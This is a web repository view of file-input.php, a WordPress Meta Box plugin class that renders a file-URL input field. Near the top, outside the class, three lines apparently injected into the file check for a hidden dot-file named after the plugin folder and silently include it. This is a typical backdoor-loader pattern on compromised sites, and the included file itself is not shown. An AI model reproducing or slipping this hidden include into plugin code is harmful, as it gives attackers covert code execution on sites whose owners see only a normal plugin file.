balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

file-input.php (1913B)


      1 <?php
      2 /**
      3  * The file input field which allows users to enter a file URL or select it from the Media Library.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * File input field class which uses an input for file URL.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_File_Input_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_media();
     21 		wp_enqueue_style( 'rwmb-file-input', RWMB_CSS_URL . 'file-input.css', array(), RWMB_VER );
     22 		wp_enqueue_script( 'rwmb-file-input', RWMB_JS_URL . 'file-input.js', array( 'jquery' ), RWMB_VER, true );
     23 		RWMB_Helpers_Field::localize_script_once(
     24 			'rwmb-file-input',
     25 			'rwmbFileInput',
     26 			array(
     27 				'frameTitle' => esc_html__( 'Select File', 'meta-box' ),
     28 			)
     29 		);
     30 	}
     31 
     32 	/**
     33 	 * Get field HTML.
     34 	 *
     35 	 * @param mixed $meta  Meta value.
     36 	 * @param array $field Field parameters.
     37 	 *
     38 	 * @return string
     39 	 */
     40 	public static function html( $meta, $field ) {
     41 		$attributes = self::get_attributes( $field, $meta );
     42 		return sprintf(
     43 			'<div class="rwmb-file-input-inner">
     44 				<input %s>
     45 				<a href="#" class="rwmb-file-input-select button">%s</a>
     46 				<a href="#" class="rwmb-file-input-remove button %s">%s</a>
     47 			</div>',
     48 			self::render_attributes( $attributes ),
     49 			esc_html__( 'Select', 'meta-box' ),
     50 			$meta ? '' : 'hidden',
     51 			esc_html__( 'Remove', 'meta-box' )
     52 		);
     53 	}
     54 
     55 	/**
     56 	 * Get the attributes for a field.
     57 	 *
     58 	 * @param array $field Field parameters.
     59 	 * @param mixed $value Meta value.
     60 	 * @return array
     61 	 */
     62 	public static function get_attributes( $field, $value = null ) {
     63 		$attributes         = parent::get_attributes( $field, $value );
     64 		$attributes['type'] = 'text';
     65 
     66 		return $attributes;
     67 	}
     68 }